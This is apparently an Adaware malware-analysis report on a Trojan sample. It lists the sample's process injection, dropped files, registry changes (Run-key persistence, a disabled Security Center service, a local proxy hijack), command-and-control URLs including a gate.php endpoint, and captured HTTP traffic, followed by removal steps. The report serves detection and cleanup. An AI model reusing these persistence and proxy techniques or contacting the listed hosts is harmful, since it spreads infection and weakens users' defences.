Gen.Variant.Kazy.64385_a96b87b451 – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

7.tmp:880
%original file name%.exe:1456
%original file name%.exe:372

The Trojan injects its code into the following process(es):

%original file name%.exe:1648

Mutexes

The following mutexes were created/opened:

WininetProxyRegistryMutexWininetConnectionMutexWininetStartupMutexc:!documents and settings!adm!cookies!c:!documents and settings!adm!local settings!temporary internet files!content.ie5!_!MSFTHISTORY!_{A1D429DE-B782-4253-84AD-6E09A8438AD5}{61B98B86-5F44-42b3-BCA1-33904B067B81}{B16C7E24-B3B8-4962-BF5E-4B33FD2DFE78}ShimCacheMutex{0ECE180F-6E9E-4FA6-A154-6876D9DB8906}c:!documents and settings!adm!local settings!history!history.ie5!{B1D429DE-B782-4253-84AD-6E09A8438AD5}RasPbFileoleacc-msaa-loaded

File activity

The process %original file name%.exe:1648 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Program Files%\LP\2D85\7.tmp (12988 bytes)
%Program Files%\LP\2D85\C29.exe (266594 bytes)
%System%\config\SOFTWARE.LOG (1987 bytes)
%System%\config\software (838 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\507CF\F2C6.07C (3946 bytes)

Registry activity

The process 7.tmp:880 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4F 9B 5C DE 89 A8 1C 31 C6 6E 91 17 24 06 B9 45"

[HKCR\TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32]
"(Default)" = "%System%\oleacc.dll"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\WinRAR]
"HWID" = "7B 37 43 35 45 35 37 37 39 2D 39 35 45 37 2D 34"

The process %original file name%.exe:1456 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EB D4 33 28 A0 AD DE 3B 26 F0 2E D9 20 6F D0 A4"

[HKCR\TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32]
"(Default)" = "%System%\oleacc.dll"

The process %original file name%.exe:372 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "38 CF 29 97 79 57 47 18 B0 05 E6 ED D3 A2 C4 58"

[HKCR\TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32]
"(Default)" = "%System%\oleacc.dll"

The process %original file name%.exe:1648 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 03 00 00 00 14 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "1"

[HKCR\TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32]
"(Default)" = "%System%\oleacc.dll"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer" = "http=127.0.0.1:49677"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F7 3E 31 0F CE E9 7D 05 2D 5F 58 BC B0 FE F6 10"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "3C 00 00 00 03 00 00 00 03 00 00 00 14 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"C29.exe" = "%Program Files%\LP\2D85\C29.exe"

Automatic startup of the following service is disabled:

[HKLM\System\CurrentControlSet\Services\wscsvc]
"Start" = "3"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyOverride"

Dropped PE files

MD5	File path
5831e6518b1248705645b6d0637bcef1	c:\Program Files\LP\2D85\7.tmp

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
7.tmp:880
%original file name%.exe:1456
%original file name%.exe:372
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Program Files%\LP\2D85\7.tmp (12988 bytes)
%Program Files%\LP\2D85\C29.exe (266594 bytes)
%System%\config\SOFTWARE.LOG (1987 bytes)
%System%\config\software (838 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\507CF\F2C6.07C (3946 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"C29.exe" = "%Program Files%\LP\2D85\C29.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	66383	66560	5.19513	85f94ff0a5edefd7de2210898ba92722
.rdata	73728	150608	7680	4.0357	cebab021e463b6f37b4be14db9a95078
.data	225280	204210	204288	5.51405	80560da5154ec5d5bbabce2bd287b45e
.rsrc	430080	4096	512	0.615814	65abebcdb7f46a16fb6a08bb482fba7d

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 1
0f574803d09934bde9d7918cf75aef49

Network Activity

URLs

URL	IP
hxxp://e6845.ce.akamaiedge.net/pca3-g2.crl
hxxp://e6845.ce.akamaiedge.net/CSC3-2009.crl
hxxp://e6845.ce.akamaiedge.net/pca3.crl
hxxp://e6845.ce.akamaiedge.net/CSC3-2009-2.crl
hxxp://a767.dspw65.akamai.net/msdownload/update/v3/static/trustedr/en/authrootseq.txt
hxxp://a767.dspw65.akamai.net/msdownload/update/v3/static/trustedr/en/authrootstl.cab
hxxp://e6845.ce.akamaiedge.net/CSC3-2004.crl
hxxp://istockanalyst.com/12.jpg?sv=482&tq=gHZutDyMv5rJeSG1J8K+1MWCJbP4lltXIA==	54.213.154.232
hxxp://TRANSERSDATAFORME.COM/gate.php
hxxp://vczet0h.yordataarchive.com/logo.png?sv=634&tq=gKZEtzoYwLzEvUb5dQzRsrCpBfMqTca3l74EgC9OjrPGpgfib1XFp5zpRPksUt+A/gSoSEU=	50.116.56.144
hxxp://www.google.com/	173.194.40.241
hxxp://www.google.com.ua/?gfe_rd=cr&ei=XWKlVb-HHOmO8Qe2-YGIDw	173.194.40.241
hxxp://crl.verisign.com/pca3.crl	23.52.149.163
hxxp://CSC3-2004-crl.verisign.com/CSC3-2004.crl
hxxp://csc3-2009-2-crl.verisign.com/CSC3-2009-2.crl	23.52.149.163
hxxp://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab	184.84.243.34
hxxp://csc3-2009-crl.verisign.com/CSC3-2009.crl	23.52.149.163
hxxp://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootseq.txt	184.84.243.34
hxxp://crl.verisign.com/pca3-g2.crl	23.52.149.163
csc3-2004-crl.verisign.com	23.52.149.163
transersdataforme.com	192.155.89.148

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET / HTTP/1.1

Connection: close

Host: VVV.google.com

Pragma: no-cache

HTTP/1.1 302 Found

Cache-Control: private

Content-Type: text/html; charset=UTF-8

Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=XWKlVb-HHOmO8Qe2-YGIDw

Content-Length: 262

Date: Tue, 14 Jul 2015 19:26:21 GMT

Server: GFE/2.0

Alternate-Protocol: 80:quic,p=0

Connection: close

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HEAD><BODY>.<H1>302 Moved</H1>.The document has moved.<A HREF="hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=XWKlVb-HHOmO8Qe2-YGIDw">here</A>...</BODY></HTML>....

GET /12.jpg?sv=482&tq=gHZutDyMv5rJeSG1J8K+1MWCJbP4lltXIA== HTTP/1.0

Connection: close

Host: istockanalyst.com

Accept: */*

User-Agent: chrome/9.0

HTTP/1.1 301 Moved Permanently

Content-Type: text/html; charset=UTF-8

Location: hXXp://VVV.istockanalyst.com/12.jpg?sv=482&tq=gHZutDyMv5rJeSG1J8K+1MWCJbP4lltXIA==

Server: Microsoft-IIS/8.0

Date: Tue, 14 Jul 2015 19:25:21 GMT

Connection: close

Content-Length: 215

<head><title>Document Moved</title></head>.<body><h1>Object Moved</h1>This document may be found <a HREF="hXXp://VVV.istockanalyst.com/12.jpg?sv=482&tq=gHZutDyMv5rJeSG1J8K+1MWCJbP4lltXIA==">here</a></body>..

GET /msdownload/update/v3/static/trustedr/en/authrootseq.txt HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: VVV.download.windowsupdate.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Cache-Control: max-age=604800

Content-Type: text/plain

Last-Modified: Thu, 18 Jun 2015 20:25:35 GMT

Accept-Ranges: bytes

ETag: "80966ee4aad01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Content-Length: 18

Date: Tue, 14 Jul 2015 19:25:16 GMT

Connection: keep-alive

X-CCC: US

X-CID: 2

1401D0AA04EEA3DE2B....

GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: VVV.download.windowsupdate.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Cache-Control: max-age=604800

Content-Type: application/octet-stream

Last-Modified: Thu, 18 Jun 2015 21:27:42 GMT

Accept-Ranges: bytes

ETag: "01bdd9bdaad01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Content-Length: 50015

Date: Tue, 14 Jul 2015 19:25:16 GMT

Connection: keep-alive

X-CCC: US

X-CID: 2

MSCF...._.......,...................I..................F.m .authroot.stl..R.K.8..CK...<T.....c....N............K...Q.]%Y".P!..i.{.I.-.(.(.d....V.3..........3.93......<...W/..*.`.0..c....l.NF<...#.L....xAF.t.:......q..l8p..<J.Ad....n.V< ..X.. x. ...E......Tu...~....q..{...v.J.t*.).. .m..P.........(7.9.6 .......(/.=X....(>uS:O.C..8"5......8K.]u.e....O.w..f.{U. 3.rG%`.D...j..'...Ex...N>.)..'xe.x.,..N$.~.7.....9..y@.P0........l@ ......9..f#.:7.....P8h...BA?... .!......' Y..S.%....."j.I.......eE9.y.....addf`....m.o.J<z.e..[.L.X...r.n...).....j...L. ..cT...U....t!.(M.......Tp./..G=lY....DX........7.....V U.-P...!.'........P-./...c..J...._....R...-..w2@....q8.}.5..j7...Qbt.....,......y.X..w0u..... /6N...........[......%........n.t.<.'....Lin..=.1k.1.....<.&4.......L.<.c.i.5.f[.}.....}......>...S.[.r.Ta.w.9.-...%.Xnwo2Uk.R.Qv`...J.......'.v{.....1H.B ........J.f.-m....Y.0.U.Y..%?.j.[x..Ad...;G.*..f...N...X.!....[8.'.r...'..$B.a..g....e.w....%.<...:1....u]d....c~Z.v,b...]...."*4. .K....X...;#|....`..}@5.....Kb.......X...6..Tb.4....O=..R,.<...h..b!....N..M;3..=.4.Q.JQ.....q.[..[LXFA..u...[..L.=L.N..2.....~2.r..,...g|.....#R...<j.y...1..^.....p.x......s..7~W..T...`......).c.P..B...n)<x.A..b$.w...B.UyPv?n...<...i.....[b...P...Wf=.."..r...y...w.>..<...e&....L.Y.r w....C......o..o..a.h...,dy..O..P....7V.Z.-T1b.".")FI ..L....6....<.....V..Yq.......I....}......6.M.C.!F4.5`.....(.....5j....p.....S...F.jde.....r=.PC<..UJW..4..h....Dn.AqE9......[...c.$tv.7.....6.{U3..

<<< skipped >>>

GET / HTTP/1.0

Connection: close

Host: VVV.google.com

Accept: */*

HTTP/1.0 302 Found

Cache-Control: private

Content-Type: text/html; charset=UTF-8

Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=XWKlVZW_EemO8Qe2-YGIDw

Content-Length: 262

Date: Tue, 14 Jul 2015 19:26:21 GMT

Server: GFE/2.0

Alternate-Protocol: 80:quic,p=0

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HEAD><BODY>.<H1>302 Moved</H1>.The document has moved.<A HREF="hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=XWKlVZW_EemO8Qe2-YGIDw">here</A>...</BODY></HTML>....

GET /CSC3-2009-2.crl HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: csc3-2009-2-crl.verisign.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache

ETag: "4bc05237d61fcbb73d232ebc88c84c5a:1436864715"

Last-Modified: Tue, 14 Jul 2015 09:05:15 GMT

Date: Tue, 14 Jul 2015 19:25:13 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Connection: Transfer-Encoding

Content-Type: application/pkix-crl

00006000..0...0......0...*.H........0..1.0...U....US1.0...U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of use at https://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 Code Signing 2009-2 CA..150714090002Z..150728090002Z0...0!.....V..t..'.F(z....121202220203Z0!.... .;...9.7.......090826054212Z0!...\.)../F..^p..s...100722072726Z0!......P....A.x......100708154305Z0!.......O#.`n.5j.9...100930040708Z0!..../..8~p...h......091006052837Z0!.....(../L....--aK..091029040207Z0!...aW.....B.!.0..t..090909121104Z0!...g,..4(vv....mJ_..100514054218Z0!.....V.....(..-..p..090826162211Z0!....O..,J.N.n...Ly..091028032204Z0!....42r...I.Y@...3..100526162150Z0!.........}..Dt...!..090922192227Z0!.......2l....7i..?..101109030426Z0!.....p%...l,AogP....100523060224Z0!...,.P.C......*.....100303082219Z0!...NRPL.............100413090225Z0!....1w....d.&..8....091026111702Z0!......F....e........090608081352Z0!.....6..d6.7..4.....100924123027Z0!....$..*...s..&s....100219210742Z0!......Q_.G..|.......091009145530Z0!........>..O...=72..100616160934Z0!....Xlm$|".su.......090619194406Z0!......J)..E......C..100922142243Z0!...D......u.y.Iy{k..101026130323Z0!...El...)>..W..<K...101004225456Z0!...p..wy.i.zc...X...091117001921Z0!.....,{..^..........091203194409Z0!....B....d...*.P.@..100705023431Z0!.......m. .V.....~..101111134216Z0!...2.R.i.{..........091029071123Z0!...`F..q2..O.:......100602074221Z0!...a{.-...@...'.....100723194022Z0!........fW.y.,s.....101011182226Z0!....Um..}.8)........100324085953Z0!....,u.box

<<< skipped >>>

GET /?gfe_rd=cr&ei=XWKlVb-HHOmO8Qe2-YGIDw HTTP/1.1

Connection: close

Host: VVV.google.com.ua

Pragma: no-cache

HTTP/1.1 200 OK

Date: Tue, 14 Jul 2015 19:26:25 GMT

Expires: -1

Cache-Control: private, max-age=0

Content-Type: text/html; charset=windows-1251

P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."

Server: gws

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Set-Cookie: PREF=ID=1111111111111111:FF=0:TM=1436901985:LM=1436901985:V=1:S=JG346hUuqP7mrCFu; expires=Thu, 13-Jul-2017 19:26:25 GMT; path=/; domain=.google.com.ua

Set-Cookie: NID=69=nKrJDO2JjEapU3B4U0Sed7-Rtw9OHf2i-DKQVchMhV3wAbzrlHRhxy7F8pSaLMeeMir5jcK1piUiVcIFV0QqFELMmpf5QnPUUb3jtG6aKZWg0o_4f-dwq4UaPyYXLICt; expires=Wed, 13-Jan-2016 19:26:25 GMT; path=/; domain=.google.com.ua; HttpOnly

Alternate-Protocol: 80:quic,p=0

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

<!doctype html><html itemscope="" itemtype="hXXp://schema.org/WebPage" lang="uk"><head><meta content="/logos/doodles/2015/new-horizons-pluto-flyby-5641113681526784.3-hp.gif" itemprop="image"><meta content='......... ...... ".... ........." ....... .. ..... .......... #PlutoFlyby #GoogleDoodle' property="og:description"><meta content="hXXp://VVV.google.com/logos/doodles/2015/new-horizons-pluto-flyby-5641113681526784.3-hp.gif" property="og:image"><meta content="417" property="og:image:width"><meta content="165" property="og:image:height"><title>Google</title><script>(function(){window.google={kEI:'YWKlVenXF6vOygPq04O4DQ',kEXPI:'3700325,3700366,4017607,4027916,4029815,4032235,4032500,4032677,4032998,4033246,4033307,4033344,4034629,4035892,4036149,4036366,4036527,4036948,4037333,4037457,4037531,4037921,4039046,4039280,4039386,4039487,4039690,4039879,4040020,4040028,4040111,4040136,4040485,4040642,4040890,8300095,8300200,8300203,8500394,8501295,8501406,8501489,8501582,10200083,10201215,10201270',authuser:0,kscs:'c9c918f0_10'};google.kHL='uk';})();(function(){google.lc=[];google.li=0;google.getEI=function(a){for(var b;a&&(!a.getAttribute||!(b=a.getAttribute("eid")));)a=a.parentNode;return b||google.kEI};google.getLEI=function(a){for(var b=null;a&&(!a.getAttribute||!(b=a.getAttribute("leid")));)a=a.parentNode;return b};google.https=function(){return"https:"==window.location.protocol};google.ml=function(){return null};google.time=function(){return(new Da

<<< skipped >>>

GET /CSC3-2009.crl HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: csc3-2009-crl.verisign.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache

ETag: "a40166fb9363ae015bf00ddbdf5e7b6c:1436864716"

Last-Modified: Tue, 14 Jul 2015 09:05:16 GMT

Date: Tue, 14 Jul 2015 19:25:10 GMT

Content-Length: 2249

Connection: keep-alive

Content-Type: application/pkix-crl

0...0......0...*.H........0..1.0...U....US1.0...U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of use at hXXps://VVV.verisign.com/rpa (c)091.0,..U...%VeriSign Class 3 Code Signing 2009 CA..150714090003Z..150728090003Z0...0!.....zOR.D...,oMa...090525061903Z0!......t.o=(..(..G...090520231844Z0!... ....M...m.Q.&...090517075442Z0!...T.Ay(..U...:_|...090608072333Z0!... .(.....F..9.....090805090059Z0!.......P..._}..;.x..090714150126Z0!.....5=.qOV[.cyg.&..090528172131Z0!...K...=$.6.........090521015930Z0!...-H...D...tDXUN...090527062050Z0!.......-.'@..<B{....090525110212Z0!......x..m*[.7.h#"..090702070220Z0!.....%.o.....kT.....090527062152Z0!..!.*;....)..Ef..k..090529084018Z0!..#.}h..."..........090527050204Z0!..$.I^./@.:7.p.,v...090521201736Z0!..&.5{.....Q;D......090521184343Z0!..&...T[.~y.........090903081104Z0!...q..m...G..i^.....090521025017Z0!../a.nS..[lA.lCB....090527045238Z0!..0.....R..iX.px....090605052910Z0!..2.h..).n......p;..090713144756Z0!..:.............. ..090605052934Z0!..;.0.*.v..*....P...090601001940Z0!..?..}p 2I..o.\..u..090527061825Z0!..?....@.Z`......l..090527022214Z0!..B..h~a..]..L.2....100512125735Z0!..B.U..ZF...........090527041620Z0!..F'....?xxnx.6Q....090528003453Z0!..F|A..r....#.@.&...090527062259Z0!..L.r....F..^..i.t..090608130549Z0!..Q...Y...Exm.._7...090520225737Z0!..TH..~.. ..({......090723115618Z0!..U.59Z..[.G.RmyR1..090527071534Z0!..V ].h.../".V<8-...090611075746Z0!..gHT...j5zdG....K..090521205535Z0!..mje.......;.......090521012215Z0!..p^..E.{.>.........09

<<< skipped >>>

GET /pca3-g2.crl HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: crl.verisign.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache

ETag: "a12004ee62778080776f627e8e9b5b79:1435263013"

Last-Modified: Thu, 25 Jun 2015 20:10:13 GMT

Date: Tue, 14 Jul 2015 19:25:10 GMT

Content-Length: 1415

Connection: keep-alive

Content-Type: application/pkix-crl

0...0...0...*.H........0..1.0...U....US1.0...U....VeriSign, Inc.1<0:..U...3Class 3 Public Primary Certification Authority - G21:08..U...1(c) 1998 VeriSign, Inc. - For authorized use only1.0...U....VeriSign Trust Network..150617000000Z..150930235959Z0...0!...=...X.FL...3..I..080403173458Z0!...SJs|.."E.G.......070412172616Z0!....E........W6.n...140129192923Z0!.......jvO..!....]..040401180422Z0!......\*....bO-.....080403173459Z0!....I..:.<....9..m..070412172523Z0!.........R.E!..=t...070522172634Z0!....}.....}.}.(q.C..040401180606Z0!...`.6..,...u.~x.:..080403173459Z0!.........wX.....~...080606171636Z0!..$.Jn>.t..d_j..."..040401180518Z0!.. ..N*(.}H..j......070412172308Z0!.. ..3.J......d..9..070522172711Z0!..50.h.:....s.K"....040401180542Z0!..7_f...s...........080403173459Z0!..<.J..y..)..~x7.e..080606171735Z0!..NS.c.f......7.p...070412172213Z0!..N.k;..-...9J..-...070522172748Z0!..Q..2pRv.WC.:..f...030109181346Z0!..Tq..m..*..........140129192925Z0!..^..CX4.3... F.R...070522172548Z0!..^..)..P3...7...L..080403173459Z0!..e........O.^.S....080403173457Z0!..jP....Wv..[.v.5H..070412172102Z0!..nk.l.!y.~...7G@...070412171752Z0!..r.q.I-Ln./........080403173458Z0!..t8....D...........080606171524Z0!..t.xn.tS....O_.....070412171951Z0!..v......Qnw..W.g...140129192921Z0...*.H..............(....H0..Ku.f..9S..5l.5(........u.H. .......Q.r../.}G...`a.M..a........V.t.M..j..J...g:....U..-..Z9.....[W3..........%Y.I.w._.....

<<< skipped >>>

GET /pca3.crl HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: crl.verisign.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache

ETag: "7f8e894eb4f319ed13d4fb506eb98ea2:1435261514"

Last-Modified: Thu, 25 Jun 2015 19:45:14 GMT

Date: Tue, 14 Jul 2015 19:25:13 GMT

Content-Length: 933

Connection: keep-alive

Content-Type: application/pkix-crl

0...0...0...*.H........0_1.0...U....US1.0...U....VeriSign, Inc.1705..U....Class 3 Public Primary Certification Authority..150617000000Z..150930235959Z0..x0!...v....a_>..2......020924164823Z0!.....A.....{2..Y.#..140129175709Z0!...,.|.|...<...j ...080605174907Z0!...`y..q.......fh...020923171400Z0!...?A....a.nF`.P....020923171548Z0!............R.e.53..010207212458Z0!..!......Y...ISi....010706171411Z0!..$-..I{r....u<._...080403172226Z0!..&.."?..y..51}..1..010706172118Z0!..4....2....{W......080605175030Z0!..B....c............070411175910Z0!..H.Py...N....* ....010207212031Z0!..N....-.1Gq.@...C..040401175251Z0!..Y......w`G........070411175657Z0!..Z`..H.@B....Z.*q..080403172017Z0!..l....I...Y..] .c..010706171749Z0"......T=deQ...1u.]...010207212247Z0".....p..1..7<.....e..010207211822Z0...*.H............I`Kec4...D'k.3j._...A1.........U...=.G......8..4...[....qAq.....m.E..;r.Ju7.................j..-5...".d>.x4g../r...G.E.g..I.H.....

GET /CSC3-2004.crl HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: CSC3-2004-crl.verisign.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache

ETag: "5b2f03ce6e7f0c9495152fc29bea849a:1436864715"

Last-Modified: Tue, 14 Jul 2015 09:05:15 GMT

Date: Tue, 14 Jul 2015 19:25:17 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Connection: Transfer-Encoding

Content-Type: application/pkix-crl

00006000..0..z.0..x.0...*.H........0..1.0...U....US1.0...U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of use at https://VVV.verisign.com/rpa (c)041.0,..U...%VeriSign Class 3 Code Signing 2004 CA..150714090001Z..150724090001Z0..x.0!.....'...._.=.t.{...060411095352Z0!........]...n.d.^...041210180734Z0!....B.38..I....Z.Z..060522202503Z0!.....V..=.&..p.K_...041223173514Z0!...$fd{........ZKI..050727182105Z0!...'..P..Tk....i ...081114114704Z0!...*m.......$.e.iw..050113162826Z0!...4..&.....(.V.bD..060717184318Z0!...>.h`a.nZM.VIP....061027222850Z0!...?..!.....Z..%....080514074106Z0!...A.*T-.NB>Ro.S.~..070627153307Z0!...Wf....0?.1.<G4...080827011731Z0!...[.}7.8.t.........070607081209Z0!...^.@.....1..v..`..061207041025Z0!...ol4....{.........080520210256Z0!.....oP...._. 